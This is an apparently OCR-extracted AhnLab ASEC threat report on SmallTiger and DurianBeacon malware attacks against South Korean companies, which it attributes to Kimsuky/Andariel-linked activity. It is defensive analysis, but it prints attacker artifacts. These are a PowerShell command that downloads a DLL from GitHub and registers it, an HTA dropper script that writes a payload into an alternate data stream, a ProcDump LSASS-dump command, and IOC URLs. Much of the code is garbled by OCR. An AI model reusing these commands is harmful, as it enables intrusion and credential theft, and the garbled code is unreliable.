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AhnLab SEcurity intelligence Center (ASEC) is responding to recently discovered cases that are using the
SmallTiger malware to attack South Korean businesses. The method of initial access has not yet been identified,
but the threat actor distributed SmallTiger into the companies’ systems during the lateral movement phase. South
Korean defense contractors, automobile part manufacturers, and semiconductor manufacturers are some of the

confirmed targets.

The attacks were first found in November 2023, and the malware strains found inside the affected systems seemed
to indicate that the Kimsuky group was utilizing their typical method. However, instead of taking an orthodox
Kimsuky group approach, the threat actor exploited the software updater programs of the companies during the
internal propagation phase. Furthermore, it is noteworthy that the backdoor malware installed at the end is

DurianBeacon, a malware strain found in Andariel’s past attack cases.

The same threat actor resumed attacks in February 2024, and the malware distributed at the end was replaced with

a downloader named SmallTiger. The malware was still being used in attacks as of May 2024.

1. DurianBeacon Attack Case

The cases of attacks using the MultiRDP malware and Meterpreter were found in November 2023. The malware
classified as MultiRDP patches the memory of the currently running remote desktop service so that multiple users
can connect with remote desktop protocol (RDP). The threat actor can utilize it to log into the affected system
without the user realizing it, and it is a method the Kimsuky group deploys. Meterpreter is a backdoor malware
strain provided by Metasploit, a penetration tester framework. It supports features similar to Cobalt Strike such as

command execution, information theft, and lateral movement that can be used to seize control of company

networks.
Target Type File Name File Size File Path®
Target @ m.dat 5.18 MB %ALLUSERSPROFILE%\m.dat
Current B powershell.exe 480 KB %SystemRoot%)\system32\windowspowershell\v1.0\powershell.exe
Parent B cmd.exe 316 KB %SystemRoot%)\system32\cmd.exe
ParentOfParentOfCurrent W regsvr32.exe 44 KB %SystemRoot%\system32\regsvr32.exe
Process Module Target Behavior Data
B powershell.exe Downloads executable file http://my.shoping.kro.kr/m.dat

B m.dat

Figure 1. MultiRDP installed via a PowerShell command
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Inside the system, another malware was installed via the company’s software updater program. The malware
installed at the end was DurianBeacon RAT, which was found in Andariel’s past attacks. In addition, the attack

technique used when distributing malware is similar to the one the Andariel group has been using.

The malware first installed during the internal propagation phase is a dropper that decrypts three files that exist in
the resource and installs them using a service named “mozillasvcone”. “%SystemDirectory%\mozillasvcone.dll”,
the file executed via the “mozillasvcone” service, loads a DLL created in the
“%SystemDirectory%\00GPWm4uRZ0CAkHZ90\cOFcEpj86LSNmZ5.d11” path and calls the
RyXmqIUMXViyw6Uvkf() function. “cOFcEpj86LSNmZ5.dll” reads the encrypted data files created inside the
“%SystemDirectory%\0OQAuagarcOwDTo\mNyKQBP3vV4uX” path and decrypts the files to execute them inside

the memory.

The DurianBeacon that is ultimately executed in the memory is the updated version of DurianBeacon that was
mentioned in the ASEC Blog article “Analysis of Andariel’s New Attack Activities.” [1] The updated version is

also developed in the Go language and uses the SSL protocol to communicate with the C&C server.

.rdata:0008800006CFED3 aGDevGoDurianbe db 'G:/Dev/Go/DurianBeacon/Command.go’,@
.rdata:60000000006CFED3 ; DATA XREF: .rdata:eespeeeseecCAtedto
.rdata:20000200006CFEFS aGDevGoDurianbe_@ db 'G:/Dev/Go/DurianBeacon/5SL.go’,@

.rdata: 060006000006CFEFS ; DATA XREF: .rdata:@@cee808086CAADETO
.rdata:ee006000086CFF13 aGDevGoDurianbe_1 db 'G:/Dev/Go/DurianBeacon/Utils.go’,@

.rdata: 00000000006CFF13 ; DATA XREF: .rdata:eeeee080086CABY4To
.rdata:epeaeepeacCFF33 aGDevGoDurianbe_2 db 'G:/Dev/Go/DurianBeacon/main.go”,8

. rdata: 66008800086CFF33 ; DATA XREF: .rdata:@eepee88886CABI8To

.rdata:
.rdata:
.rdata:
.rdata:
.rdata:

Bepaaee0eR6EERER
Beoe0eBE86BESEE
Beea808886EEEC1
eepaa0088066EEDS

B8o00000086BESDE
.rdata:6000000806BE915
.rdata:@e600000006BE92C
.rdata:0eeeeaeeee6BE32C
.rdata: 060000068068 E96D

urian/durian_2.8"
: 868956810
db '/client/Command.go’,®@
aFwWorkWorkMainW @ db "F:/Work/work/main_work/hackwork/hackingtoo
; DATA XREF: .rdata:82880
db '/client/SocksClient.go’,@
aFWorkWorkMainW_2 db "F:/Work/work/main_work/hackwork/hackingtoo
3 DATA XREF: .rdata:eeee
db '/client/Utils.go’,@

1/rat/durian/durian_2.@"
BBBBBOG

ra
BeeacE950ato

1/rat/durian/durian_2.8"
2BEBE0G

ra
08 B9698T0

.rdata:20080000886EE97E aFWorkWorkMainW 1 db "F:/Work/work/main_work/hackwork/hackingtool/rat/durian/durian_2.8"
.rdata:0660000068686BE9 3 DATA XREF: .rdata:60060000606B95E8T0
.rdata:@PeBRRBARRGEEIBF db '/client/ssL.go’,@

.rdata:20020000806BE9CE aFWorkWorkMainW 3 db "F:/Work/work/main_work/hackwork/hackingtool/rat/durian/durian_2.0"
.rdata: 60000008068 E3CE ; DATA XREF: .rdata:00060000006B896A8T0

Figure 2. Comparing the pas and the present versions

Like the previous version, DurianBeacon sends the infected system’s IP information, user name, desktop name,
architecture, and file names before awaiting commands after the initial access. When a command is sent, it returns
a result. The difference is that the commands 0x10 and 0x12 were added for the roles of self-deletion and Socks

Proxy.

Command Feature

0x00 Hibernate

0x01 Interval

0x02 Execute PowerShell commands
0x03 Look up directory
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Command Feature

0x04 Drive information
0x05, 0x06, 0x07, 0x08 Upload files
0x09, 0x0A, 0x0B Download files
0x0C Create directories
0x0D Delete file

0x0E Run commands
0xOF Terminate

0x10 Auto-delete

0x12 Socks Proxy

Table 1. The list of DurianBeacon commands

It appears that the threat actor distributed DurianBeacon inside the target companies to control their inner

infrastructures after the initial access and used the malware to steal information.
2. SmallTiger Attack Case #1

Since February 2024, there have been confirmed cases in which the same threat actor abused different software in
their attack. The malware in the form of DLL is ultimately installed during the internal propagation phase. It is a
downloader that accesses the C&C server to download a payload and executes it inside the memory. The
downloader malware in this case is classified as SmallTiger based on the name of the DLL given by the developer

(threat actor).

- —| DOS Header Member Value Comment
i.|=] Rich Header

w -/ =| NT Header
.[E] File Header

“ [ Opticnal Header Majorversion 0000

=[] Data Directories i

----- Section Headers - 0002A6F2 SmallTiger.dil
..... 1 DIRECTORY_ENTRY_EXPORT Bace 0000000+

----- iﬂ DIRECTORY_ENTRY_IMPORT

----- o) DIRECTORY_EMTRY_RESCURCE
- DIRECTORY_ENTRY_BASERELOC

Characteristics 00000000
Charactenisucs  UUUGUUUUU

TimeDateStamp FFFFFFFF Sun, 07 Feb 2106 06:28:15 UTC (...

R

NumberOfFunctions 00000001
MurnberOfMames 00000001

Figure 3. SmallTiger, the name the threat actor gave to the DLL file

The threat actor also installed Mimikatz and ProcDump during the infiltration stage and dumped the memory of

the LSASS process using the ProcDump tool to hijack the infected system’s credentials.
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“targetProcess": {
"imageInfo": {
"fileObj": {
"fileName": "procdump.exe”,
"filePath": "%SystemRoot%\\temp\\procdump.exe",
"fileSize": 7919680,
b
"commandLine”: "procdump.exe -ma lsass.exe lsa”
}
+
“currentProcess": {
"imageInfo": {
"fileObj": {
“fileName": "cmd.exe",
"filePath": "%SystemRoot%\\syswow64\\cmd.exe",
"fileSize": 236544,
}
h
H

“parentProcess": {
"imageInfo": {

"fileObj": {
“fileName": "bma — - =mgent.exe",
"filePath": "%SystemRoot%\\syswowb64\\ === w\\b Ls agent.exe",
"fileSize": 3866136,

}

Figure 4. The ProcDump commands that were found during the attack stage

In this case, the malware that steals the information from NirSoft’s WebBrowserPassView and web browser was
also discovered. It is a command line tool similar to WebBrowserPassView in that it extracts and shows the

account and history information saved in Google Chrome, Firefox, and Internet Explorer.
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Figure 5. Web browser account information stealer confirmed in the attack phase

3. SmallTiger Attack Case #2

Unlike in November 2023 where the threat actor used a dropper that creates DurianBeacon, a downloader with the
same name (j******n.exe) was used in April 2024. The malware downloads a malicious JavaScript from the C&C
server using the mshta command and runs it. The downloaded JavaScript creates a payload that is included
internally at the “C:/Users/Public/printsys.dll:mdata” path—the alternate data stream (ADS) area—and runs it

using rundll32. As a result, SmallTiger is created.
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1 <script language="javascript”>

2 window.resizeTo(6,8);

3 try

4 |

5 var fsObject=new ActiveXObject( Scripting.FileSystemObject”);
6 var wstExec = new ActiveXObject('WScript.Shell');

7

8 var filePath = "C:/Users/Public/printsys.dll:mdata”;

9

18 var fileHanddle=fsObject.CreateTextFile(filePath,true};

11 fileHanddle.krite('MZ");

12 fileHanddle.Close();

13

14 var dataBin = [

15 0x99, 8x90, exe3, oxee, ©xee, oxee, 9xed4, oxee, oxee, exee,
16 OxFF, OxFF, 8xeg, 8xea, 8xB8, Oxe0, Oxee, oxe8, oxes, Ox0e, Oxe8, Bxee,
15876 Px080, Oxee, 0xee, Oxee
1577
1ze78 1
15@7¢ len = dataBin.length;
15888 content = "
15881 for (i=0; i<len - 1; i=i+2)
15e82 {
15883 content += String.fromCharCode(dataBin[i] + dataBin[i+1]*256);
159384 }
15885 fileHanddle = fsObject.OpenTextFile(filePath,8,false,-1);
15886 fileHanddle.lWrite(content);

15887 fileHanddle.Close();

15e8s8

1sese if (1 == (len -1))

15898 {

158901 fileHanddle=fsObject.OpenTextFile(filePath,8,false);
1592 fileHanddle.Write('\e');

15823 fileHanddle.Close();

15094 }

15825 wsExec.Run("rundll32.exe " + filePath + ", @EDl1lMain™);

Figure 6. The mshta commands that install SmallTiger in the ADS area

In May 2024, GitHub was used instead of the usual C&C server to distribute SmallTiger. “pk.dll” is the file that is

installed at the end, and it is the SmallTiger malware just like the past attack cases.
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Target Type File Name File Size File Path@

Target B pkdll 3.38MB  %SystemDrive%\users\%ASD%\pk.dll

Current W@ powershell.exe 440 KB %SystemRoot%)\system32\windowspowershell\v1.0\powershell.exe
Parent B cmd.exe 316 KB %SystemRoot%)\system32\cmd.exe

ParentOfParentOfCurrent @j==-u-neexe 3.2MB  %SystemRoot%\downloaded program files\r k. «=wmjnes v n.exe

"targetProcess”: {
“imageInfo”: {
"fileObj": {
“fileName": "cmd.exe",
"filePath": "%SystemRoot%\\system32\\cmd.exe",
"fileSize": 323584,

}.

phantom5201314/google/main/kiss’, 'C:\\Users\\%ASD%\\pk.d11l");regsvr32.exe C:\\Users\\%ASD%\\pk.d11\""

b
“currentProcess”: {
"imageInfo": {
“fileObj": {
“fileName": " jiiF=tmon.exe”,
“filePath": "%SystemRoot%\\downloaded program files\\o—fim= =c\\juzswmm.exe",
“fileSize": 3350528,
+
i
h

"commandLine": "/c powershell.exe -Exec Bypass -C \"(New-Object System.Net.Webclient).DownloadFile('https://raw.githubusercontent.com/

Figure 7. The malware that downloads additional payloads from GitHub

[0 Overview [ Repositories 4 [ Projects @) Packages ¥ Stars

Popular repositories

my-store Public share-with-anybody

sharing information

phantom5201314 Public goagle

fig files for my GitHub profile for network test

9 contributions in the last year

Follow
) May  Jun Y Aug Sep Ot Now Dec Jan Feb Mar
A0 followers - 1 following
Mon
B phantom5201314 / google  Pubiic L Notifications

<> Code (D lssues 11 Pullrequests (D) Actions [ Projects @ Security | Insights

[ Files google / kiss
@
¥ main - Q
Q il phantom5201314 Add files via upload
Go to file
I D ks Code | Blame 3.38 "

View raw

{Sorry about that, but we can't show files that are this big right now.}

Apr

Public

Public

Figure 8. The GitHub address of the threat actor where the malware was uploaded

4. Conclusion

Since November 2023, ASEC has confirmed cases of attacks targeting South Korean companies that led to

SmallTiger’s distribution. The first case used DurianBeacon—employed by the Andariel group in the past—as the

final payload, but it was found alongside malware strains that the Kimsuky group used in its previous attacks. The

attacker has been using a different strain of malware named SmallTiger since February 2024.
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Users must be particularly cautious against attachments in emails from unknown sources and executable files
downloaded from web pages. Additionally, security administrators in companies must enhance the monitoring of
security programs and apply patches for any security vulnerabilities in security. Users should also apply the latest
patch for OS and programs such as Internet browsers, and update V3 to the latest version to prevent malware

infection in advance.

File Detection

— Data/BIN.Encoded (2024.05.07.02)

— Downloader/HTA.Agent.SC199444 (2024.05.02.00)

— Downloader/Win.SmallTiger.R648273 (2024.05.15.01)
— Downloader/Win.Agent.R648272 (2024.05.15.01)

— Downloader/Win.SmallTiger.R648174 (2024.05.14.01)
— Downloader/Win.SmallTiger.R647319 (2024.05.07.01)
— Downloader/Win.SmallTiger.R646830 (2024.05.01.03)
— Malware/Win.Agent.R628198 (2023.12.18.02)

— Dropper/Win.Agent.R626614 (2023.12.05.00)

— Trojan/Win.Agent.R626616 (2023.12.05.00)

— Trojan/Win.Agent.R626617 (2023.12.05.00)

— Backdoor/Win.Iedoor.R625563 (2023.11.27.03)

— Trojan/Win.Generic.R577010 (2023.05.15.02)

— Trojan/Win32.RL_Mimikatz.R290617 (2019.09.09.01)
— Trojan/Win32.RL_AgentTesla.C4181110 (2020.08.16.06)
— HackTool/Win.PassViewer.C5353355 (2023.01.08.03)
— Downloader/Win.Agent.C5617482 (2024.05.01.03)

— Downloader/Win.SmallTiger.C5617497 (2024.05.02.00)
— Downloader/Win.SmallTiger.C5617498 (2024.05.02.00)
— Trojan/Win.AndarDowner.C5619183 (2024.05.07.01)

— Downloader/Win.SmallTiger.C5621202 (2024.05.13.00)
— Downloader/Win.Agent.C5621403 (2024.05.13.02)

— Downloader/Win.Agent.C5621517 (2024.05.14.01)

— Downloader/Win.SmallTiger.C5623714 (2024.05.21.01)
— Downloader/Win.SmallTiger.C5623717 (2024.05.21.01)
— Downloader/Win.SmallTiger.C5623718 (2024.05.21.01)
— Infostealer/Win.Agent.C5623997 (2024.05.21.03)

Behavior Detection

— DefenseEvasion/MDP.Event.M1423
— Execution/MDP.Powershell. M1185

— Initial Access/MDP.Powershell. M1197
— Execution/MDP.Ngrok.M4615

MD5

0859f9666e0428447451c036a38057f6
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0Obe7d0975d3d81403d16ba4c4c9c7bf8
1210ff921922f2e27db4feaeSfe63394
188£289206¢3a945d670f29400d9f77f
232046aff635f1a5d81e415ef64649b7
Additional IOCs are available on AhnLab TIP.
URL

http[:1//104[.]168[.]145[.183[:]993/
http[:1//104[.]136[.]1229[.]179/
http[:1//104[.]136[.]229[.]179/am[.]dll
http[:1//38[.]110[.]1[.]169/
http[:1//38[.1110[.]1[.]169[:]1993/

Additional IOCs are available on AhnLab TIP.

Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP. For subscription details, click

the banner below.

AhnlLab TIP

Get Started with AhnlLab's State-of-the-Art Threat Intelligence

atip.ahnlab.com

Source: https://asec.ahnlab.com/en/74039
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